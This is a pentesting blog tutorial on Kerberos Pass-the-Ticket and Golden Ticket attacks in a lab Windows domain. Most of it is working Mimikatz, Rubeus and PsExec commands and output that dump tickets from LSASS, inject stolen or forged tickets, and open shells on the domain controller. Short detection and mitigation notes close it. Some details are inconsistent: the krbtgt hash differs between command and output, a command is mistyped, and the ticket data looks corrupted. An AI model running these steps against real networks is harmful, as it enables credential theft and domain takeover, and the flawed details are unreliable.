

Lateral Movement: Pass the Ticket Attack

 hackingarticles.in/lateral-movement-pass-the-ticket-attack

Raj

May 27, 2020

After working on Pass the Hash attack and Over the pass attack, it's time to focus on a similar kind of attack called Pass the Ticket attack. It is very effective and it punishes too if ignored. Let's look into it.

Table of Content

- **Introduction**
- **Configurations used in Practical**
- **Working**
- **Pass-the- Hash v/s Pass-the-Ticket**
- **Pass-the-Ticket Attacks**
 - Extracting Tickets: Mimikatz
 - Passing the Ticket: Mimikatz
 - Extracting Tickets: Rubeus
 - Passing the Ticket: Rubeus
- **Practical Approach: Golden Ticket Attack**
- **Detection**
- **Mitigation**

Introduction

The articles series for Lateral Movement which includes techniques below are not the only way to further compromise the target Windows Server. There are other methods as well. One such way was discovered while I was trying to perform the Lateral Movement on the Windows Server from Kali Linux. The surprise was that I didn't hear about this attack and even the Mimikatz supports it. So, I looked around to find that there is not much written about it. This attack is called Pass the Ticket attack and it can help the attacker to steal the Kerberos Credentials from the Linux system such as Kali Linux and then pass them on Windows Machine while authentication.

Configurations used in Practical

Attacker Machine

- **OS:** Kali Linux 2020.2
- **IP Address:** 192.168.1.112

Target Machine

- **Server**
 - **OS:** Windows Server 2016
 - **IP Address:** 192.168.1.105
 - **Domain:** local
 - **User:** Administrator
- **Client**
 - **OS:** Windows 10
 - **IP Address:** 192.168.1.106
 - **User:** Yashika

Working

In this attack, the attacker extracts the Kerberos Ticket Granting Ticket which is also known as TGT. It is located inside the LSASS process in the memory of the system. After extracting the ticket the attacker uses the ticket on another system to gain the access.

Pass-the-Hash v/s Pass-the-Ticket

The major difference between the Pass-the-Ticket and Pass-the-Hash attack is that the time for which the access can be acquired. In simple words, the Kerberos TGT tickets issues have an expiration time of 10 hours (This can be changed). In the case of the Pass-The-Hash, there is no expiration. The attack will work until the user doesn't change their password.

Extracting Tickets: Mimikatz

As discussed before the tickets are loaded inside the memory and to extract them we will be using the mimikatz. We run the `kerberos::list` command in mimikatz to read the tickets that are located in the LSASS. To save them on the machine we will use the `/export` parameter.

```
kerberos::list
kerberos::list /export
```

```

mimikatz # kerberos::list
[00000000] - 0x00000012 - aes256_hmac
Start/End/MaxRenew: 5/14/2020 11:30:36 AM ; 5/14/2020 9:30:36 PM ; 5/21/2020 11:30:36 AM
Server Name       : krbtgt/IGNITE.LOCAL @ IGNITE.LOCAL
Client Name       : yashika @ IGNITE.LOCAL
Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;

[00000001] - 0x00000012 - aes256_hmac
Start/End/MaxRenew: 5/14/2020 11:30:36 AM ; 5/14/2020 9:30:36 PM ; 5/21/2020 11:30:36 AM
Server Name       : LDAP~WIN-S0V7KMTVLD2.ignite.local/ignite.local @ IGNITE.LOCAL
Client Name       : yashika @ IGNITE.LOCAL
Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;

mimikatz # kerberos::list /export
[00000000] - 0x00000012 - aes256_hmac
Start/End/MaxRenew: 5/14/2020 11:30:36 AM ; 5/14/2020 9:30:36 PM ; 5/21/2020 11:30:36 AM
Server Name       : krbtgt/IGNITE.LOCAL @ IGNITE.LOCAL
Client Name       : yashika @ IGNITE.LOCAL
Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
* Saved to file    : 0-40e10000-yashika@krbtgt~IGNITE.LOCAL-IGNITE.LOCAL.kirbi

[00000001] - 0x00000012 - aes256_hmac
Start/End/MaxRenew: 5/14/2020 11:30:36 AM ; 5/14/2020 9:30:36 PM ; 5/21/2020 11:30:36 AM
Server Name       : LDAP~WIN-S0V7KMTVLD2.ignite.local/ignite.local @ IGNITE.LOCAL
Client Name       : yashika @ IGNITE.LOCAL
Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
* Saved to file    : 1-40a50000-yashika@LDAP~WIN-S0V7KMTVLD2.ignite.local~ignite.local-IGNITE.LOCAL.kirbi

mimikatz #

```

As we can see that we have the tickets that were saved inside the directory where we had the mimikatz executable. In the previous image, we can see that we have 2 tickets and the names of those tickets can be confirmed. For a sense of simplicity, we renamed one of the tickets as ticket.kirbi.

| Name | Date modified | Type | Size |
|----------------------------------------------|--------------------|-------------|----------|
| 0-40e10000-yashika@krbtgt~IGNITE.LOCAL.kirbi | 5/14/2020 12:20 PM | KIRBI File | 2 KB |
| mimikatz | 5/11/2020 1:00 PM | Application | 1,233 KB |
| ticket.kirbi | 5/14/2020 12:20 PM | KIRBI File | 2 KB |

Passing the Ticket: Mimikatz

Now Mimikatz doesn't just give up after extracting the tickets. It can pass the tickets as well. This is the reason I prefer mimikatz. We go back to the mimikatz terminal. Here, we pass the ticket with the help of ptt module inside the Kerberos module followed by the name of the ticket that we want to pass. This is the reason we renamed the ticket. Now that we have successfully passed the ticket. Now to perform the actions as the user that we passed the ticket for we decided to get a cmd as that user. This can be accomplished using the misc::cmd command as shown in the image given below.

```

kerberos::ptt ticket.kirbi
misc::cmd

```

```
mimikatz # kerberos::ptt ticket.kirbi   
* File: 'ticket.kirbi': OK  
mimikatz # misc::cmd   
Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF601D64320
```

 Administrator: C:\Windows\SYSTEM32\cmd.exe

C:\>

Extracting Tickets: Rubeus

First, we will use extract the tickets using Rubeus. This can be done with the help of the asktgt module. Although it is not so sneaky method it gets the work done. We need the domain name, User, Password Hash. When used normally will give the base64 encoded TGT ticket. But Let's Pass the Ticket as well in the same step. For this, I will just give the /ptt parameter at the end as shown in the image given below. Rubeus will ask the user for a TGT ticket and after receiving the ticket it encodes the ticket in Base64 and saves the ticket. Since I used the /ptt parameter as well, it will pass the ticket in the current session as well. When the ticket is passed, we can perform the actions as the user we passed the ticket for. Here we take a look at the directories of the said user.

```
Rubeus.exe asktgt /domain:ignite.local /user:Administrator /rc4:  
32196b56ffe6f45e294117b91a83bf38 /ptt  
dir \\WIN-S0V7KMTVLD2\c$
```

```
C:\Users\yashika\Desktop>Rubeus.exe asktgt /domain:ignite.local /user:Administrator /rc4:32196b56ffe6f45e294117b91a83bf38 /ptt
```



```

  S)
  R)
  U)
  B)
  E)
  U)
  S

v1.5.0

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 32196b56ffe6f45e294117b91a83bf38
[*] Building AS-REQ (w/ preauth) for: 'ignite.local\Administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIFTDCCBUigAwIBBaEDAgEwoIEXDCCBFhhggRUMIEUKADAgEfoQ4bDElHTklURS5MT0NBTKIhMB+g
AwIBAgEYMBYbBmtYnRndBsMawduaXRlLmxvY2Fso4IEFDCCBBcgAwIBEqEDAgEcoIEAgSCA/56AkWx
RmFIZu1UQec2B4WOGx2G2QaF7tz59ceG9RVQ9iDotjLYWx+vNgJuNH5yJe+SnkCU5BMLGMvs8NqYkXm7
mGYnhXeTgbK/6g4cHMR0sDMA6x220g2eDFhATdBelT6zi2INRdznyGvI5n+xGTZU9JImKPBV08H8BTOA
gvqCHSRPFz6faXSxjXXuMSQCRw+DQ5kwnd8ArziBJ4vb9sm4PU5nD/kxD05nqk1zC3iNF1XPOpBI7/1
PTJFS62zLA4dBqaYJfYl03upSSwa/WfMbotEcZyzxQSMYoD9TU3mjEulaJ1q/Rq4xZk4RMzY6dj4u8Aj
HxBIZB0zOXI20mP+S4Hk0ytqLuiPbn/yFIQaKrQye1DLPH7zQ1pSXSJ64ATzJYr2HLSB2fSR1R7tZ1o8
/cnkJYOY1bHy5kZz0CiRaU1ZCnJWcY3IJP0qNH10q2JZkzV2/eTUTIdhQixeP51AGVB+fVG7d3w3aDV
OYCAoHu/mBifw6L1X5SGBYBJVIatmaskt0Jv6F5B57F8yW6aoK0Byv050BFyU3n/jQiwPd22kGjUia7x
SSUzqvgC2u19IL1+iQ9Imcha3GMH0mqGDHjAd1XwT0hEU0FFZqglT1m6ezWPGHo9EvY5YzNMmDFUvGnr
b4cFCMM9sGvC7GtNHw85rm70MkDlx8od4rWcMWJ/HZyXYo3aab0Zx0RzTYpBX+7ov8Li0vOgvHzC1KKu
1jvFK7XvVrFCZY0ekU0wJMQ9Zg01lbIU/Lcpc2W932PnPcWEi1mpJyWekVJwUPE2DKeZFL38ejB5yZhR
13lgK4YZ0/Ow3+MdhviFW0bxxAV94gLU1NxsxFOaclqESkK98TsNV4tk4jYs2IP8mnTrcw1AKaasCH+h
kaNVgJnS+wNkrbDxvYoF17zHhJacwN1x74FwxMSJU/DRA0PrEE9QorNKRvE6Av24gFhJwn3QrQeqaJ0M
kkYKqF0G1XUrWcmFsUJ/TAKa6Fk/HXX4litM4qzDmGeX6PcQNhQIt7sRb1MxNletwjtIWCanBzGwDLYG
1sv0L2mZb2snrvYrbrTX1eC4uyoRD5Wn/9k2HqBo5jVS/DUMR1HdC8UhwE0cnKg3FmF8jvJ78XfkTwcR
a4L2h9+uqKiiUxS+DrEucxvcaMkxwKu839oF/iy6ZqYh7kZk09svhtN09Vye+D/90mNcHhvVMTn7nVqM
fFohZkXKCe5z/MBkRpD8GfnDm/dLQlFDEFZFU/SzQV6w5+frY++e55y163ShoowYHq+GBiE0n70fnZrL
/6LYRsSfqp5AnzyvJ7Xf/TQhHEDfIavw1AfkMe745nzyiBUApAizk88c5gpzgnDAyOPqe2F1do/ZhjQ0B
2zCB2KADAgEAooHQ8IHNFYHKMIH0IHEMIHBMIG+oBswGaADAgEXoRIEEKLOmkK1s9aEwM+kKuWuuZmh
DhsMSUd0SVRFLkxPQ0FMohowGKADAgEBoREwDxsNQWrtaw5pc3RyYXRvcqMHAwUAQOEAAKURGA8yMDIw
MDUxMjE5MTEzNVqmERGPmJAYMDA1MTMwNTEwMzVapxEYDzIwMjAwNTE5MTkxMTM1WgOGWxJR05JVEUu
TE9DQYypITAFoAMCAQKhGDAWGWZrcmJ0Z3QbDGlbnml0ZSS5b2Nhba==

[+] Ticket successfully imported!

ServiceName      : krbtgt/ignite.local
ServiceRealm     : IGNITE.LOCAL
UserName         : Administrator
UserRealm        : IGNITE.LOCAL
StartTime        : 5/12/2020 12:11:35 PM
EndTime          : 5/12/2020 10:11:35 PM
RenewTill        : 5/19/2020 12:11:35 PM
Flags            : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType          : rc4_hmac
Base64(key)      : os4yQrWz1oTAz6Qq5a65mQ==
```

```
C:\Users\yashika\Desktop>dir \\WIN-S0V7KMTVLD2\c$
Volume in drive \\WIN-S0V7KMTVLD2\c$ has no label.
Volume Serial Number is 1C84-81C0
```

```
Directory of \\WIN-S0V7KMTVLD2\c$

07/16/2016  06:23 AM  <DIR>          PerfLogs
04/15/2020  05:32 AM  <DIR>          Program Files
```

Passing the Ticket: Rubeus

If we don't pass the ticket in the current session then we can use the ptt parameter separately and pass the ticket as the parameter as shown in the image given below. After successfully passing the ticket, we can use the ticket. For this, we decided to get a cmd session of the user we passed the ticket for. We will be using the PsExec64.exe as shown in the image given below.

```
Rubeus.exe ptt /ticket:ticket.kirbi
PsExec.exe \\192.168.1.105 cmd.exe
ipconfig
```

```
C:\Users\yashika\Desktop>Rubeus.exe ptt /ticket:ticket.kirbi
```

```
Rubeus
```

```
v1.5.0
```

```
[*] Action: Import Ticket  
[+] Ticket successfully imported!
```

```
C:\Users\yashika\Desktop>PsExec64.exe \\192.168.1.105 cmd.exe
```

```
PsExec v2.2 - Execute processes remotely  
Copyright (C) 2001-2016 Mark Russinovich  
Sysinternals - www.sysinternals.com
```

```
Microsoft Windows [Version 10.0.14393]  
(c) 2016 Microsoft Corporation. All rights reserved.
```

```
C:\Windows\system32>ipconfig
```

```
Windows IP Configuration
```

```
Ethernet adapter Ethernet0:
```

```
Connection-specific DNS Suffix . :  
IPv4 Address. . . . . : 192.168.1.105  
Subnet Mask . . . . . : 255.255.255.0  
Default Gateway . . . . . : 192.168.1.1
```

```
Tunnel adapter isatap.{1C11AE65-E2D6-499F-B777-3D1B8B2CD55A}:
```

```
Media State . . . . . : Media disconnected  
Connection-specific DNS Suffix . :
```

```
Tunnel adapter Local Area Connection* 3:
```

```
Media State . . . . . : Media disconnected  
Connection-specific DNS Suffix . :
```

Practical Approach: Golden Ticket Attack

Golden Ticket Attack is also a good example of the Pass the Ticket Attack. Let's take a look at it. Mimikatz allows the attacker to create a forged ticket and simultaneously pass the TGT to KDC service to Get TSG and enable the attacker to connect to Domain Server. This can be done by running both commands on cmd as an administrator.

```
privilege::debug  
kerberos::golden /user:pavan /domain:ignite.local /sid:S-1-5-21-3523557010-  
2506964455-2614950430 /krbtgt:f3bc61e97fb14d18c42bcbf6c3a9055f /id:500 /ptt  
msic::cmd
```

Above command will generate the ticket for impersonate user with RID 500.

```
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::golden /user:pavan /domain:ignite.local /sid:S-1-5-21-3523557010-2506964455-2614950430 /krbtgt:f3bc61e97fb14d18c42bc6f6c3a9055f /id:500 /ptt
User : pavan
Domain : ignite.local (IGNITE)
SID : S-1-5-21-3523557010-2506964455-2614950430
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: f3bc61e97fb14d18c42bc6f6c3a9055f - rc4_hmac_nt
Lifetime : 4/16/2020 4:00:50 AM ; 4/14/2030 4:00:50 AM ; 4/14/2030 4:00:50 AM
-> Ticket : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'pavan @ ignite.local' successfully submitted for current session

mimikatz # misc::cmd
```

As soon as I ran the above-mentioned commands the attacker gets a new cmd prompt which allows the attacker to connect with Domain Server using PsExec.exe as shown in the below image.

```
PsExec64.exe \\192.168.1.105 cmd.exe
ipconfig
```

```
C:\Users\yashika\Desktop>PsExec64.exe \\192.168.1.105 cmd.exe

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0:

    Connection-specific DNS Suffix  . : 
    IPv4 Address. . . . . : 192.168.1.105
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 192.168.1.1

Tunnel adapter isatap.{1C11AE65-E2D6-499F-B777-3D1B8B2CD55A}:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . : 

Tunnel adapter Local Area Connection* 3:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . : 

C:\Windows\system32>
```

Detection

- Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.
- Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to “Integrity check on decrypted field failed” and indicates misuse by a previously invalidated golden ticket.

Mitigation

- For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it.
- Ensure that local administrator accounts have complex, unique passwords.
- Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts.
- Do not allow a user to be a local administrator for multiple systems.